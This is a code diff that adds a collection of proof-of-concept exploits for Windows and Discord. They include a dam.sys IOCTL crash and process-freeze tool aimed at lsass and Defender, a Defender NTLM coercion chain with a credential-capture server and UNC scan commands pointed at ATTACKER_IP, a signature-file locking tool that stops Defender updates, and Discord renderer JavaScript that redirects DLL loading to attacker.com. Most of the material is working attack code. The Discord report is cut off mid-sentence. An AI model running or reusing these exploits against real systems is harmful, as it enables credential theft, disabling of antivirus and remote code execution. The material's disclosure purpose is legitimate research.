| FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open \\\\.\\DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + printf("[!] sending IOCTL 0x226014 — expect BSOD\n"); + + BYTE buf[16] = {0}; + *(DWORD *)buf = pid; + *(DWORD *)(buf + 4) = 1; + DWORD ret; + DeviceIoControl(h, IOCTL_DAM_SET_POLICY, buf, sizeof(buf), + buf, sizeof(buf), &ret, NULL); + + printf("[?] if you see this, try a different PID\n"); + CloseHandle(h); + return 0; +} diff --git a/dam-sys-kernel-bugs/freeze.c b/dam-sys-kernel-bugs/freeze.c new file mode 100644 index 0000000..8c0fe2e --- /dev/null +++ b/dam-sys-kernel-bugs/freeze.c @@ -0,0 +1,102 @@ +/* + * freeze.c — dam.sys confused deputy + process freeze PoC + * + * Step 1: IOCTL 0x22A01C adds any process (by PID) to DAM's internal + * job objects. The kernel driver calls PsLookupProcessByProcessId + * and ZwAssignProcessToJobObject with NO access check on the + * target — a standard user can add lsass.exe, csrss.exe, etc. + * + * Step 2: IOCTL 0x22A008 triggers DamSetState to freeze all processes + * in DAM's job objects via ZwSetInformationJobObject with + * JobObjectFreezeInformation (class 0x12). + * + * build: cl /O2 freeze.c + * run: freeze.exe [--freeze] + * + * WARNING: --freeze will actually freeze the target process. + * This can freeze lsass, csrss, Defender, etc. USE A VM. + */ + +#include +#include +#include + +#define IOCTL_DAM_ADD_TO_JOB 0x22A01C +#define IOCTL_DAM_SET_STATE 0x22A008 + +static DWORD find_pid(const char *name) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + PROCESSENTRY32 pe = {.dwSize = sizeof(pe)}; + if (Process32First(snap, &pe)) { + do { + if (_stricmp(pe.szExeFile, name) == 0) { + CloseHandle(snap); + return pe.th32ProcessID; + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + return 0; +} + +int main(int argc, char *argv[]) { + printf("=== dam.sys confused deputy + freeze PoC ===\n\n"); + + if (argc < 2) { + printf("Usage: %s [--freeze]\n\n", argv[0]); + printf(" Adds target process to DAM's job object (confused deputy).\n"); + printf(" --freeze: also triggers freeze via IOCTL 0x22A008 (DANGEROUS)\n"); + printf("\n Examples:\n"); + printf(" %s lsass.exe (add lsass to DAM job, no freeze)\n", argv[0]); + printf(" %s MsMpEng.exe --freeze (freeze Defender)\n", argv[0]); + return 1; + } + + int do_freeze = (argc > 2 && strcmp(argv[2], "--freeze") == 0); + + DWORD pid = find_pid(argv[1]); + if (!pid) { + printf("[-] process '%s' not found\n", argv[1]); + return 1; + } + printf("[*] target: %s (PID %u)\n", argv[1], pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + ULONGLONG pid_input = (ULONGLONG)pid; + DWORD ret; + BOOL ok = DeviceIoControl(h, IOCTL_DAM_ADD_TO_JOB, &pid_input, 8, + NULL, 0, &ret, NULL); + printf("[%c] add to job: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + + if (!ok) { + CloseHandle(h); + return 1; + } + + if (do_freeze) { + printf("[!] triggering freeze...\n"); + BYTE state[16] = {0}; + *(DWORD *)(state + 8) = 2; + *(DWORD *)(state + 12) = 2; + + ok = DeviceIoControl(h, IOCTL_DAM_SET_STATE, state, 16, + NULL, 0, &ret, NULL); + printf("[%c] set state: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + } else { + printf("[*] process added to DAM job. pass --freeze to actually freeze it.\n"); + } + + CloseHandle(h); + return 0; +} diff --git a/defender-ntlm-coercion-poc/README.md b/defender-ntlm-coercion-poc/README.md new file mode 100644 index 0000000..b9042b0 --- /dev/null +++ b/defender-ntlm-coercion-poc/README.md @@ -0,0 +1,115 @@ +# Windows Defender NTLM Coercion — Standard User Forces SYSTEM Credential Leak + +Windows Defender (`MsMpEng.exe`, running as `NT AUTHORITY\SYSTEM`) processes custom scan requests from standard users without impersonating the caller. When the scan target is a UNC path (`\\attacker\share\file.exe`), Defender opens the file under its own SYSTEM context, so the SMB client authenticates to the remote server using the machine's NTLM credentials. + +Microsoft knows about this — there's a feature flag `MpFC_EnableImpersonationOnNetworkResourceScan` in `MpSvc.dll` — but it's disabled by default. + +## Status + +Verified on Windows 11 25H2 (build 26200), Defender Platform 4.18.26050.15-0. + +| Check | Result | +| --- | --- | +| SYSTEM-only file scan | Defender reads EICAR from file where user has zero access | +| SMB coercion | SYN_SENT to target:445 from PID 4 (System) on UNC scan | +| Impersonation gap | ~80 NOGUARD functions vs 1 GUARDED in MpSvc.dll | +| Feature flag | `MpFC_EnableImpersonationOnNetworkResourceScan` disabled by default | + +## Files + +```text +. +|-- README.md +|-- poc.ps1 trigger + ACL bypass proof +`-- capture.py NTLM capture server (SSPI-based, for remote use) +``` + +## Root Cause + +MpSvc.dll handles scan requests via RPC. The service opens target files using its own SYSTEM token without impersonating the requesting user's context. ImpersonationGap analysis shows ~80 functions reaching sensitive sinks (CreateFileW, etc.) with no impersonation call, versus only 1 with proper impersonation. + +When the target is a UNC path, the SYSTEM-context file open causes the SMB client to send the machine NTLM credentials to the remote host. + +## ACL Bypass Proof + +Create an EICAR file with a SYSTEM-only ACL — standard user gets Access Denied, but Defender still detects the EICAR signature. Proves the scan runs as SYSTEM, not as the requesting user. + +```powershell +# EICAR file, locked to SYSTEM-only access +$testFile = "$env:USERPROFILE\defender_acl_test\system_only_eicar.com" +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +Set-Content -Path $testFile -Value $eicar -Encoding ascii + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$newAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow"))) +Set-Acl -Path $testFile -AclObject $newAcl + +Get-Content $testFile # Access Denied + +Start-MpScan -ScanType CustomScan -ScanPath $testFile +Get-MpThreatDetection | Where-Object { $_.Resources -match "system_only_eicar" } +# EICAR detected — Defender read the file as SYSTEM +``` + +Output: + +``` +ACL: NT AUTHORITY\SYSTEM -> FullControl (Allow) [only entry] +User read: "Access to the path '...\system_only_eicar.com' is denied." +Defender scan: completed (no error) +Detection: InitialDetect 07/06/2026 23:35:04, Resources: system_only_eicar.com +``` + +## NTLM Coercion + +Point a custom scan at a UNC path and monitor outgoing SMB. PID 4 (System kernel process) reaches out to the target on port 445: + +```powershell +Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP\share\file.exe" + +# monitor in another terminal: +while ($true) { + netstat -ano | Select-String "ATTACKER_IP:445" + Start-Sleep -Milliseconds 200 +} +``` + +``` +23:07:10.603 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:10.812 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:11.009 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +[... all PID 4 ...] +``` + +## Hash Capture (Remote) + +On the attacker box: + +```bash +impacket-smbserver test /tmp/share -smb2support + +# output when scan triggers: +# [*] Incoming connection (VICTIM_IP,PORT) +# [*] AUTHENTICATE_MESSAGE (DOMAIN\MACHINE$, VICTIM) +# [*] NTLMv2-SSP Hash: MACHINE$::DOMAIN:... +``` + +Or use the included `capture.py` — a Windows SSPI HTTP/WebDAV NTLM capture server that works on any port. + +## Impact + +Standard user coerces SYSTEM NTLM creds from the machine. On a domain, this gives you the machine account hash — opens the door to NTLM relay (SMB/LDAP/HTTP), RBCD escalation, or silver ticket forging depending on the environment. Locally, the ACL bypass alone lets you confirm Defender reads arbitrary files as SYSTEM regardless of the file's ACL. + +Requires: standard user, outbound 445 not firewalled (or WebDAV on any port to an attacker host). + +## Fix + +```c +// Enable the flag that already exists: +// MpFC_EnableImpersonationOnNetworkResourceScan = TRUE (currently FALSE) + +// Or reject UNC paths from non-admin callers +// Or impersonate the caller's token for network file opens +``` diff --git a/defender-ntlm-coercion-poc/capture.py b/defender-ntlm-coercion-poc/capture.py new file mode 100644 index 0000000..5ed9180 --- /dev/null +++ b/defender-ntlm-coercion-poc/capture.py @@ -0,0 +1,223 @@ +""" +NTLM capture server (SSPI-based). Runs HTTP/WebDAV on any port. +Use on a remote host to grab NTLM creds coerced via Defender UNC scan. + + python capture.py [port] + +Trigger on victim: + Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP@PORT\DavWWWRoot\file.exe" + +Requires: pywin32 (pip install pywin32) +""" +import http.server +import socketserver +import base64 +import struct +import sys +import datetime +import os +import ctypes +import ctypes.wintypes + +try: + import sspi + import sspicon +except ImportError: + print("ERROR: pywin32 required. Install with: pip install pywin32") + sys.exit(1) + + +secur32 = ctypes.windll.secur32 +advapi32 = ctypes.windll.advapi32 +kernel32 = ctypes.windll.kernel32 + +secur32.ImpersonateSecurityContext.argtypes = [ctypes.c_void_p] +secur32.ImpersonateSecurityContext.restype = ctypes.c_long +secur32.RevertSecurityContext.argtypes = [ctypes.c_void_p] +secur32.RevertSecurityContext.restype = ctypes.c_long +advapi32.GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetUserNameW.restype = ctypes.wintypes.BOOL +advapi32.OpenThreadToken.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD, + ctypes.wintypes.BOOL, ctypes.POINTER(ctypes.wintypes.HANDLE)] +advapi32.OpenThreadToken.restype = ctypes.wintypes.BOOL +advapi32.GetTokenInformation.argtypes = [ctypes.wintypes.HANDLE, ctypes.c_int, ctypes.c_void_p, + ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetTokenInformation.restype = ctypes.wintypes.BOOL +advapi32.LookupAccountSidW.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p, ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), + ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.LookupAccountSidW.restype = ctypes.wintypes.BOOL +kernel32.GetCurrentThread.argtypes = [] +kernel32.GetCurrentThread.restype = ctypes.wintypes.HANDLE + + +def query_identity(sspi_server): + ctxt = sspi_server.ctxt + if ctxt is None: + return "(no context)" + # pywin32 PyCtxtHandle: skip ob_refcnt + ob_type to get raw SecHandle + obj_addr = id(ctxt) + handle_ptr = ctypes.c_void_p(obj_addr + 16) + rc = secur32.ImpersonateSecurityContext(handle_ptr) + if rc != 0: + return f"(impersonation failed: {rc:#010x})" + buf = ctypes.create_unicode_buffer(256) + buf_sz = ctypes.wintypes.DWORD(256) + username = "(unknown)" + if advapi32.GetUserNameW(buf, ctypes.byref(buf_sz)): + username = buf.value + full_id = username + try: + hToken = ctypes.wintypes.HANDLE() + if advapi32.OpenThreadToken(kernel32.GetCurrentThread(), 0x0008, True, ctypes.byref(hToken)): + ret_len = ctypes.wintypes.DWORD(0) + advapi32.GetTokenInformation(hToken, 1, None, 0, ctypes.byref(ret_len)) + if ret_len.value > 0: + token_buf = ctypes.create_string_buffer(ret_len.value) + if advapi32.GetTokenInformation(hToken, 1, token_buf, ret_len.value, + ctypes.byref(ret_len)): + sid_ptr = ctypes.cast(token_buf, ctypes.POINTER(ctypes.c_void_p))[0] + name = ctypes.create_unicode_buffer(256) + name_sz = ctypes.wintypes.DWORD(256) + domain = ctypes.create_unicode_buffer(256) + domain_sz = ctypes.wintypes.DWORD(256) + sid_type = ctypes.wintypes.DWORD(0) + if advapi32.LookupAccountSidW(None, sid_ptr, name, ctypes.byref(name_sz), + domain, ctypes.byref(domain_sz), + ctypes.byref(sid_type)): + full_id = f"{domain.value}\\{name.value}" + kernel32.CloseHandle(hToken) + except Exception as e: + full_id = f"{username} (err: {e})" + secur32.RevertSecurityContext(handle_ptr) + return full_id + + +def parse_type3(data): + if len(data) < 52: + return {} + try: + dom_len = struct.unpack_from(" 401 (init NTLM)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if self.sspi_server is None: + self.sspi_server = sspi.ServerAuth("NTLM") + token_bytes = base64.b64decode(auth[5:]) + try: + err, sec_buffer = self.sspi_server.authorize(token_bytes) + except Exception as e: + print(f"[{ts}] SSPI error: {e}", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if err == sspicon.SEC_I_CONTINUE_NEEDED: + out_token = sec_buffer[0].Buffer + challenge_b64 = base64.b64encode(out_token).decode() + print(f"[{ts}] Type 1 -> challenge ({len(out_token)} bytes)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", f"NTLM {challenge_b64}") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + elif err == 0: + info = parse_type3(token_bytes) + identity = query_identity(self.sspi_server) + sep = "=" * 60 + print(f"\n{sep}", flush=True) + print(f"[{ts}] NTLM AUTH CAPTURED", flush=True) + print(f" SSPI Identity: {identity}", flush=True) + print(f" Type3 Domain: {info.get('domain', '?')}", flush=True) + print(f" Type3 User: {info.get('user', '?')}", flush=True) + print(f" Type3 Host: {info.get('hostname', '?')}", flush=True) + print(f" NT Response: {info.get('nt_len', '?')} bytes", flush=True) + print(f"{sep}\n", flush=True) + self.send_response(200) + self.send_header("Content-Type", "text/xml") + body = b'' + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + else: + print(f"[{ts}] SSPI err: {err}", flush=True) + self.send_response(401) + self.send_header("Content-Length", "0") + self.end_headers() + + def log_message(self, fmt, *args): + pass + + def handle_one_request(self): + try: + super().handle_one_request() + except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError, OSError): + self.close_connection = True + + +class ThreadedServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + allow_reuse_address = True + daemon_threads = True + + +if __name__ == "__main__": + port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888 + srv = ThreadedServer(("0.0.0.0", port), Handler) + print(f"[*] NTLM SSPI Capture Server on 0.0.0.0:{port}") + print(f"[*] Trigger: Start-MpScan -ScanPath '\\\\ATTACKER@{port}\\DavWWWRoot\\file.exe'") + sys.stdout.flush() + try: + srv.serve_forever() + except KeyboardInterrupt: + pass diff --git a/defender-ntlm-coercion-poc/poc.ps1 b/defender-ntlm-coercion-poc/poc.ps1 new file mode 100644 index 0000000..7aa9ec1 --- /dev/null +++ b/defender-ntlm-coercion-poc/poc.ps1 @@ -0,0 +1,105 @@ +# Defender NTLM Coercion PoC +# Part 1: ACL bypass (proves SYSTEM-context file access) +# Part 2: UNC scan triggers outgoing SMB from PID 4 (System) + +param( + [string]$AttackerIP = "192.168.1.1" +) + +$ErrorActionPreference = "Continue" + +# --- Part 1: ACL bypass --- + +Write-Host "`n--- ACL Bypass Test ---`n" + +$testDir = "$env:USERPROFILE\defender_acl_test" +New-Item -ItemType Directory -Path $testDir -Force | Out-Null + +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +$testFile = "$testDir\system_only_eicar.com" +Set-Content -Path $testFile -Value $eicar -Encoding ascii -Force + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow") +$newAcl.AddAccessRule($systemRule) +Set-Acl -Path $testFile -AclObject $newAcl + +Write-Host "[+] EICAR file with SYSTEM-only ACL: $testFile" + +$acl = Get-Acl $testFile +$acl.Access | ForEach-Object { + Write-Host " $($_.IdentityReference) -> $($_.FileSystemRights) ($($_.AccessControlType))" +} + +Write-Host "" +try { + $null = Get-Content $testFile -ErrorAction Stop + Write-Host "[!] User CAN read file (unexpected)" -ForegroundColor Red +} catch { + Write-Host "[+] User cannot read file (Access Denied)" -ForegroundColor Green +} + +Write-Host "`n[*] Triggering scan..." +$scanStart = Get-Date +Start-MpScan -ScanType CustomScan -ScanPath $testFile 2>$null +Start-Sleep -Seconds 3 + +$threats = Get-MpThreatDetection 2>$null | + Where-Object { $_.Resources -match "system_only_eicar" -and $_.InitialDetectionTime -ge $scanStart.AddSeconds(-5) } + +if ($threats) { + foreach ($t in $threats) { + Write-Host "[+] Detected: $($t.InitialDetectionTime) | $($t.Resources)" + } + Write-Host "[+] Defender read the file as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[!] No detection — Defender may have already quarantined EICAR" -ForegroundColor Yellow + Write-Host " Check: Get-MpThreat | Select ThreatName, IsActive" +} + +# --- Part 2: NTLM coercion --- + +Write-Host "`n--- NTLM Coercion Test (target: $AttackerIP) ---`n" + +$logFile = "$env:TEMP\defender_ntlm_monitor.txt" +"" | Out-File $logFile -Encoding utf8 + +$monitorJob = Start-Job -ScriptBlock { + param($ip, $logFile) + $end = (Get-Date).AddSeconds(15) + while ((Get-Date) -lt $end) { + $ts = Get-Date -Format "HH:mm:ss.fff" + $hits = netstat -ano 2>$null | Where-Object { $_ -match "${ip}:445" } + foreach ($h in $hits) { + "$ts | $($h.Trim())" | Out-File $logFile -Append -Encoding utf8 + } + Start-Sleep -Milliseconds 200 + } +} -ArgumentList $AttackerIP, $logFile + +Start-Sleep -Seconds 1 + +Write-Host "[*] Scanning: \\$AttackerIP\ntlm_test\payload.exe" +Start-MpScan -ScanType CustomScan -ScanPath "\\$AttackerIP\ntlm_test\payload.exe" 2>$null + +Wait-Job $monitorJob -Timeout 20 | Out-Null +Receive-Job $monitorJob 2>$null | Out-Null + +$results = Get-Content $logFile -ErrorAction SilentlyContinue | Where-Object { $_.Trim() } +if ($results) { + Write-Host "[+] Outgoing SMB:" -ForegroundColor Green + $results | ForEach-Object { Write-Host " $_" } + Write-Host "[+] PID 4 = System kernel — NTLM creds sent as SYSTEM" -ForegroundColor Green +} else { + Write-Host "[*] No SYN_SENT captured — try a non-routable IP for persistent evidence" -ForegroundColor Yellow +} + +Write-Host "`n[*] For hash capture, run on attacker:" +Write-Host " impacket-smbserver test /tmp/share -smb2support" +Write-Host " Then trigger: Start-MpScan -ScanPath '\\ATTACKER_IP\test\file.exe'" + +# cleanup +Remove-Item $testDir -Recurse -Force -ErrorAction SilentlyContinue 2>$null +Remove-Job $monitorJob -Force -ErrorAction SilentlyContinue 2>$null diff --git a/defender-signature-lock-bypass/README.md b/defender-signature-lock-bypass/README.md new file mode 100644 index 0000000..5b89ef7 --- /dev/null +++ b/defender-signature-lock-bypass/README.md @@ -0,0 +1,66 @@ +# CVE-2026-45498 Patch Bypass — FILE_SHARE_READ still freezes Defender + +Patch for CVE-2026-45498 (UnDefend by @ChaoticEclipse0) killed byte-range locks but left the DACLs wide open. Standard user can open sig files with `FILE_SHARE_READ` and block Defender from writing updates. Detection baseline stays frozen as long as you hold the handles. + +## Tested on + +- Platform **4.18.26050.15** (patch shipped in 4.18.26040.7 — this is two versions ahead) +- Engine **1.1.26050.11** +- Windows 11 25H2 + +17 files lockable across Definition Updates, Platform, and Program Files\Windows Defender. + +## Build + run + +``` +cl /O2 poc.c +poc.exe scans all 3 dirs, locks briefly, releases +poc.exe --hold keeps locks until you hit enter +``` + +Output on a fully patched box: +``` +CVE-2026-45498 patch bypass - FILE_SHARE_READ lock + +[*] C:\ProgramData\Microsoft\Windows Defender\Definition Updates + [+] mpengine_etw.dll 18.0 MB + [+] mpasbase.vdm 133.5 MB + [+] mpasdlta.vdm 2.3 MB + [+] mpavbase.vdm 58.9 MB + [+] mpavdlta.vdm 2.0 MB + [+] mpengine.dll 18.0 MB +[*] C:\ProgramData\Microsoft\Windows Defender\Platform + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 2.0 MB + [+] MpClient.dll 1.4 MB + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.8 MB + [+] MpDefenderCoreService.exe 2.1 MB + [+] MpClient.dll 1.4 MB +[*] C:\Program Files\Windows Defender + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 1.9 MB + +[*] 17 files locked, Defender can't write updates +[*] released +``` + +## What happened + +The original UnDefend used `LockFileEx` to byte-range lock `.vdm` files. Microsoft patched that specific call. But the reason it worked in the first place — standard users have read access to Defender's signature files — was never addressed. So just opening them with `CreateFileW` and `FILE_SHARE_READ` (no write sharing) blocks `MpSigStub.exe` from updating them. `ERROR_SHARING_VIOLATION`. + +| | UnDefend (original) | This bypass | +| --- | --- | --- | +| Method | `LockFileEx` byte-range locks | `CreateFileW` + `FILE_SHARE_READ` | +| Complexity | ~450 lines, multiple lock types | one API call per file | +| Patched | yes | no | + +## Impact + +Freeze sigs at a known baseline, drop malware that newer defs would catch. Standard user, no admin. Trivially persistent via scheduled task. + +## Fix + +Tighten DACLs on the sig files. Standard users don't need direct read access to `.vdm` databases or platform binaries. diff --git a/defender-signature-lock-bypass/poc.c b/defender-signature-lock-bypass/poc.c new file mode 100644 index 0000000..7d011cc --- /dev/null +++ b/defender-signature-lock-bypass/poc.c @@ -0,0 +1,105 @@ +/* + * poc.c — CVE-2026-45498 (UnDefend) patch bypass + * + * Patch killed byte-range locks, didn't touch the DACLs. + * FILE_SHARE_READ on the sig files still blocks writes. + * + * build: cl /O2 poc.c + * run: poc.exe [--hold] + */ + +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +#define MAX_LOCKS 128 + +static int scan_and_lock(const char *base, HANDLE *out, int max) +{ + int n = 0; + char pattern[MAX_PATH], path[MAX_PATH]; + WIN32_FIND_DATAA fd; + + _snprintf(pattern, sizeof(pattern), "%s\\*", base); + HANDLE hf = FindFirstFileA(pattern, &fd); + if (hf == INVALID_HANDLE_VALUE) return 0; + + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + if (fd.cFileName[0] != '.') { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + n += scan_and_lock(path, out + n, max - n); + } + continue; + } + + char *ext = PathFindExtensionA(fd.cFileName); + int want = 0; + if (_stricmp(ext, ".vdm") == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpengine", 8) == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpclient", 8) == 0) want = 1; + if (_stricmp(fd.cFileName, "MpDefenderCoreService.exe") == 0) want = 1; + if (_stricmp(fd.cFileName, "DefenderCSP.dll") == 0) want = 1; + + if (want && n < max) { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (h != INVALID_HANDLE_VALUE) { + LARGE_INTEGER sz; + GetFileSizeEx(h, &sz); + printf(" [+] %-40s %.1f MB\n", fd.cFileName, + sz.QuadPart / 1048576.0); + out[n++] = h; + } + } + } while (FindNextFileA(hf, &fd) && n < max); + + FindClose(hf); + return n; +} + +int main(int argc, char **argv) +{ + int hold = argc > 1 && strcmp(argv[1], "--hold") == 0; + char buf[MAX_PATH]; + HANDLE locks[MAX_LOCKS]; + int total = 0; + + printf("CVE-2026-45498 patch bypass - FILE_SHARE_READ lock\n\n"); + + const char *dirs[] = { + "%s\\Microsoft\\Windows Defender\\Definition Updates", + "%s\\Microsoft\\Windows Defender\\Platform", + }; + const char *pdata = getenv("ProgramData"); + + for (int i = 0; i < 2; i++) { + _snprintf(buf, sizeof(buf), dirs[i], pdata); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + } + + _snprintf(buf, sizeof(buf), "%s\\Windows Defender", getenv("ProgramFiles")); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + + printf("\n[*] %d files locked, Defender can't write updates\n", total); + + if (!total) { + printf("[-] nothing lockable?\n"); + return 1; + } + + if (hold) { + printf("[*] holding locks, press enter to release\n"); + getchar(); + } + + for (int i = 0; i < total; i++) + CloseHandle(locks[i]); + printf("[*] released\n"); + return 0; +} diff --git a/discord/discord-RCE-attack-paths.md b/discord/discord-RCE-attack-paths.md new file mode 100644 index 0000000..9a67d6d --- /dev/null +++ b/discord/discord-RCE-attack-paths.md @@ -0,0 +1,134 @@ +# Discord Desktop Canary — Security Vulnerability Report + +## Summary + +Multiple high-severity vulnerabilities in Discord Desktop (Canary v1.0.979, Electron 37.6.0) allow escalation from renderer-context JavaScript execution to arbitrary code execution on the host system. The renderer exposes overly-permissive native module APIs through `DiscordNative` that enable DLL hijacking, arbitrary settings manipulation, and system service installation — all without any additional authorization checks. + +While these primitives require JavaScript execution in the renderer, the attack surface is wide: any browser extension with content script access to Discord (BetterDiscord, Vencord, and similar mods used by millions), any future XSS in Discord or its whitelisted embed providers, or social engineering via DevTools can trigger the full chain. + +--- + +## Vulnerability 1: Native Module Path Hijacking → RCE (HIGH) + +**Impact: Remote Code Execution via DLL hijacking** + +### Description + +Discord's `discord_voice` native module exposes several path-setting functions to the renderer via `DiscordNative.nativeModules.requireModule('discord_voice')`. These functions allow **unrestricted redirection** of where Discord loads native libraries from: + +- `setKrispPath(path)` — Controls where the Krisp noise cancellation DLL is loaded from +- `setupKrispPath(path)` — Same +- `setMLPath(path)` — Controls where ML model libraries are loaded from +- `setupMLPath(path)` — Same +- `setClipsModulePath(path)` — Controls where the clips processing module is loaded from +- `setClipsDataPath(path)` — Controls where clips are saved to + +### Proof of Concept + +From any JavaScript running in Discord's renderer context: + +```javascript +let dv = await DiscordNative.nativeModules.requireModule('discord_voice'); + +// Redirect Krisp DLL loading to attacker-controlled SMB share +dv.setKrispPath('\\\\attacker.com\\share'); + +// Or redirect to a local attacker-controlled directory +dv.setKrispPath('C:\\Users\\victim\\Downloads\\evil'); + +// When user enables noise cancellation → DLL loads from attacker path → RCE +``` + +All calls succeed silently with no validation, no user prompt, and no path restrictions. + +### Impact + +When the user subsequently enables noise cancellation (Krisp), uses ML-based features, or records a clip, Discord loads native code from the attacker-controlled path. This achieves **arbitrary code execution** at the privilege level of the Discord process. + +--- + +## Vulnerability 2: Settings Whitelist Bypass via gpuSettings.setSetting (HIGH) + +### Description + +Discord exposes two APIs for writing settings: +- `DiscordNative.settings.set(key, value)` — Has a whitelist of allowed keys ✅ +- `DiscordNative.gpuSettings.setSetting(key, value)` — **No whitelist, writes ANY key** ❌ + +### Proof of Concept + +```javascript +// Bypass settings whitelist — write to any key in settings.json +DiscordNative.gpuSettings.setSetting("WEBAPP_ENDPOINT", "https://attacker.com"); +DiscordNative.gpuSettings.setSetting("SKIP_HOST_UPDATE", true); +DiscordNative.gpuSettings.setSetting("DANGEROUS_ENABLE_DEVTOOLS_ONLY_ENABLE_IF_YOU_KNOW_WHAT_YOURE_DOING", true); + +// Force restart to apply +DiscordNative.gpuSettings.setEnableHardwareAcceleration(false); // triggers relaunch +``` + +### Impact + +- **WEBAPP_ENDPOINT override**: On next launch, Discord loads the attacker's webpage as its main interface, with full `DiscordNative` access → persistent RCE +- **UPDATE_ENDPOINT override**: Next update fetches from attacker server → malicious update → RCE +- **DevTools enable**: Enables Chrome DevTools for further exploitation +- **Update bypass**: `SKIP_HOST_UPDATE` + `SKIP_MODULE_UPDATE` prevent security patches + +--- + +## Vulnerability 3: Unsafe Embed Iframe Sandbox Configuration (MEDIUM) + +### Description + +Discord renders embeds from whitelisted providers (Spotify, YouTube, TikTok, PlayStation) in iframes with an overly-permissive sandbox: + +``` +allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts +``` + +The `allow-popups-to-escape-sandbox` directive means any popup opened from the embed iframe has **no sandbox restrictions at all**. Combined with `allow-same-origin` and `allow-scripts`, an XSS in any whitelisted embed provider could escape the sandbox entirely. + +### Impact + +An XSS in Spotify, YouTube, TikTok, or any other whitelisted embed provider → popup escape → potential access to Discord's main window context. This turns a third-party XSS into a Discord compromise. + +--- + +## Vulnerability 4: System Service Installation from Renderer (MEDIUM) + +### Description + +`discord_utils.installSystemService()` is accessible from the renderer with no additional authentication: + +```javascript +let du = await DiscordNative.nativeModules.requireModule('discord_utils'); +du.canSystemServiceBeInstalled(); // returns true +du.installSystemService(); // installs a system service +``` + +### Impact + +A system service runs with elevated privileges and persists across reboots. Combined with the path hijacking vulnerabilities, an attacker could install a persistent backdoor. + +--- + +## Environment + +- Discord Canary v1.0.979 +- Electron 37.6.0 +- Chromium 138.0.7204.251 +- Windows 10/11 x64 +- All tests performed on 2026-06-05 + +## Attack Scenarios + +### Scenario 1: Malicious Browser Extension +Millions of Discord users use client modifications (BetterDiscord, Vencord, Replugged) that inject JavaScript into the renderer. A malicious plugin — or a supply chain attack on a popular plugin — could silently call any of the above APIs. + +### Scenario 2: Third-Party Embed XSS Chain +An XSS on any whitelisted embed provider (Spotify, YouTube, etc.) → sandbox escape via `allow-popups-to-escape-sandbox` → access to Discord window → call DiscordNative APIs → RCE. + +### Scenario 3: Social Engineering +Tricking a user into 